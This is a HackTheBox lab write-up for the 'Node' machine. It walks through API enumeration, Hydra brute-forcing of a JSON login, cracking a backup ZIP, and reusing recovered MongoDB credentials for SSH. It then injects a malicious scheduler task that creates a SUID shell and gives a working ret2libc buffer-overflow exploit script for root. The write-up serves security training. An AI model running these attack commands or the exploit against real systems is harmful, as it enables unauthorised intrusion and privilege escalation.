HTB: Node Writeup

Node - HackTheBox Writeup

Machine Information

AttributeDetails
NameNode
OSLinux
DifficultyMedium
PointsN/A
Release Date24th October 2017
IP AddressN/A
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Node is a medium-difficulty machine that focuses on newer software vulnerabilities and misconfigurations requiring progressive enumeration and exploitation. The attack chain begins with bypassing user-agent filtering to discover hidden API endpoints, escalates through credential harvesting and JSON brute-forcing to gain administrative access, then leverages MongoDB injection to achieve lateral movement, and finally exploits a buffer overflow vulnerability in a SUID binary using ret2libc techniques to achieve root access. This machine demonstrates the importance of thorough code review, API enumeration, and understanding classic exploitation techniques like buffer overflow mitigation bypass.

TL;DR: Enumerate hidden APIs → Brute-force admin credentials → Extract backup via Base64 decoding → SSH access via MongoDB credentials → MongoDB injection for privilege escalation to tom → ret2libc buffer overflow in SUID binary → root access


Reconnaissance

Port Scanning

Terminal window
nmap -sC -sV -T4 -p- 10.10.10.58

Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2
3000/tcp open http Node.js Express framework

Only two services are exposed: SSH and a Node.js application running on port 3000.

Service Enumeration

Web Application (Port 3000):

The root page loads successfully but initial directory enumeration yields no results. The application appears to serve static content with embedded JavaScript files. Examining the page source reveals references to several JavaScript files including app.js, which contains application logic.

Key Finding - JavaScript Code Review:

The app.js file references /partials/admin.html, suggesting an admin functionality exists. Additionally, the profile page logic interacts with /api/users/<username> endpoints, indicating an API surface worth investigating.

Vulnerability Assessment

  1. User-Agent Filtering: Directory enumeration tools are blocked by default; modified user agents are required
  2. Exposed API Endpoints: The /api/users/ endpoint exposes all valid usernames and password hashes
  3. Weak Credentials: Administrator passwords are susceptible to dictionary attacks
  4. Backup Extraction: Administrative users can download a backup file containing sensitive credentials
  5. Code Reuse: Credentials are reused across multiple services (SSH, MongoDB)
  6. MongoDB Injection: The scheduler service accepts unsanitized commands via MongoDB
  7. Buffer Overflow: SUID binary in /usr/local/bin/backup is vulnerable to stack-based buffer overflow with ASLR/NX enabled

Initial Foothold

Step 1: Bypass User-Agent Filtering and Enumerate APIs

Directory fuzzing tools require a proper user agent to succeed:

Terminal window
# Using curl with a standard user agent
curl -H "User-Agent: Mozilla/5.0" http://10.10.10.58:3000/api/users/

This reveals all valid usernames and their password hashes. Identify the administrator account: myP14ceAdm1nAcc0uNT

Step 2: Brute-Force Administrator Credentials

Using Hydra to brute-force the admin account with proper JSON formatting:

Terminal window
hydra -l myP14ceAdm1nAcc0uNT -P rockyou.txt 10.10.10.58 -s 3000 \
http-post-form "/api/session/authenticate:{\"username\"\:\"^USER^\",\"password\"\:\"^PASS^\"}:Authentication failed:H=Content-Type\: application/json" \
-t 64

Credentials are successfully discovered from the wordlist.

Step 3: Download and Decode Backup File

Once authenticated, navigate to the backup download functionality. The downloaded file myplace.backup contains a single Base64-encoded string:

Terminal window
# Decode the Base64 backup file
base64 -d myplace.backup > backup.zip

This produces a password-protected ZIP file.

Step 4: Crack ZIP Password

Using fcrackzip with the rockyou.txt wordlist:

Terminal window
fcrackzip -D -p rockyou.txt -u backup.zip

The password is quickly discovered, allowing extraction of the ZIP contents.

Step 5: Extract SSH Credentials

Within the extracted backup files, examine app.js to locate the MongoDB connection string:

// MongoDB connection contains credentials
mongoose.connect('mongodb://mark:5ArezaSH69@localhost:27017/myplace')

The credentials mark:5ArezaSH69 are valid for SSH access.

Step 6: Gain SSH Access

Terminal window
ssh mark@10.10.10.58
# Enter password: 5ArezaSH69

User flag is located at /home/mark/user.txt or similar location accessible to the mark user.


Privilege Escalation

Step 1: Enumerate Running Processes

Execute ps aux or use LinEnum to identify services running under different users:

Terminal window
ps aux | grep node

Reveals: /usr/bin/node /var/scheduler/app.js running as user tom

Step 2: MongoDB Command Injection

The scheduler service connects to MongoDB using the previously discovered credentials. Access the MongoDB instance:

Terminal window
mongo -u mark -p scheduler
# Enter password: 5ArezaSH69

Insert a malicious task that creates a SUID bash binary owned by tom:

db.tasks.insert({
"cmd": "/bin/cp /bin/bash /tmp/tom; /bin/chown tom:admin /tmp/tom; chmod g+s /tmp/tom; chmod u+s /tmp/tom"
});

The scheduler service will execute this command as the tom user.

Step 3: Escalate to Tom

Execute the SUID bash binary with the -p flag to preserve privileges:

Terminal window
/tmp/tom -p

This grants a bash shell as user tom with membership in the admin group.

Step 4: Identify SUID Binary

With tom privileges, LinEnum or find reveals another SUID binary:

Terminal window
find / -perm -4000 -type f 2>/dev/null

Identifies /usr/local/bin/backup as a SUID binary owned by root.

Step 5: Analyze Buffer Overflow Vulnerability

The backup binary is called with the syntax:

/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /var/www/myplace

Testing reveals the binary crashes (SIGSEGV) when the third argument (path) exceeds 508 bytes and quiet mode (-q) is not enabled.

Step 6: Bypass ASLR and NX with ret2libc

Gather necessary offsets:

Terminal window
# Find libc base address
ldd /usr/local/bin/backup
# Example output: libc.so.6 => 0xf75e2000
# Find system() function offset
readelf -s /lib32/libc.so.6 | grep system
# Example: 0003a940
# Find exit() function offset
readelf -s /lib32/libc.so.6 | grep exit
# Example: 0002e7b0
# Find /bin/sh string offset
strings -a -t x /lib32/libc.so.6 | grep /bin/sh
# Example: 0015900b

Step 7: Create and Execute Exploit

Create the exploit script node_bof.py:

import struct
import subprocess
import time
# Gathered offsets from system reconnaissance
libc = 0xf75e2000
sys_offset = 0x0003a940
sys_address = libc + sys_offset
exit_offset = 0x0002e7b0
exit_address = libc + exit_offset
bin_sh = libc + 0x0015900b
# ROP chain: system_address, exit_address, /bin/sh_address
payload = "A" * 512
payload += struct.pack("<I", sys_address)
payload += struct.pack("<I", exit_address)
payload += struct.pack("<I", bin_sh)
attempts = 0
while True:
attempts += 1
print("Attempt: {}".format(attempts))
subprocess.call([
"/usr/local/bin/backup",
"-i",
"3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110",
payload
])
time.sleep(0.5)

Execute the exploit:

Terminal window
python node_bof.py

The exploit triggers the buffer overflow and executes a shell as root. The root flag is accessible at /root/root.txt.


Attack Chain Summary

Enumerate hidden API endpoints
Discover admin username via /api/users/
Brute-force admin credentials with JSON payloads
Download Base64-encoded backup file
Crack ZIP password with fcrackzip
Extract SSH credentials from app.js
SSH access as mark user
MongoDB injection via scheduler service
Create SUID bash binary as tom user
Discover /usr/local/bin/backup SUID binary
Exploit buffer overflow with ret2libc ROP chain
Root shell access

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
curlManual API testing with custom headers
hydraJSON-formatted credential brute-forcing
base64Decoding Base64-encoded backup file
fcrackzipZIP password cracking
sshRemote shell access
mongoMongoDB command execution and injection
readelfExtracting function offsets from libc
stringsFinding /bin/sh string in libc
pythonExploit development (struct packing, ROP gadgets)
LinEnumAutomated privilege escalation enumeration

Key Learnings

Techniques Practiced

  • User-agent filtering bypass for directory enumeration
  • JSON payload crafting for API brute-forcing
  • Base64 decoding and ZIP file handling
  • MongoDB credential extraction and command injection
  • SUID binary identification and analysis
  • Stack-based buffer overflow exploitation
  • ret2libc ROP chain construction for ASLR/NX bypass
  • Offset calculation in shared libraries using readelf and strings
  • Privilege escalation through service exploitation

Lessons Learned

  1. API Enumeration is Critical: Many modern applications expose unprotected API endpoints that leak sensitive information (usernames, hashes). Always fuzz for /api/ paths and review JavaScript files for endpoint references.

  2. Credential Reuse is a Security Antipattern: Database credentials used in configuration files should never be reused for system accounts. This machine demonstrates the cascade effect of a single compromised credential.

  3. Code Review Reveals Hidden Functionality: JavaScript and configuration files often contain references to administrative functions and hidden endpoints that are not advertised in the UI.

  4. ASLR/NX is Not Impenetrable: While modern protections prevent direct shellcode execution, ret2libc techniques leverage existing library functions to achieve arbitrary code execution.

  5. Service Monitoring is Essential: Running background services with elevated privileges can become lateral movement vectors if their input validation is insufficient (MongoDB injection in this case).

  6. Buffer Overflow Exploitation Requires Precision: Successful exploitation of modern binaries requires careful offset calculation and an understanding of calling conventions and ROP gadget chains.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>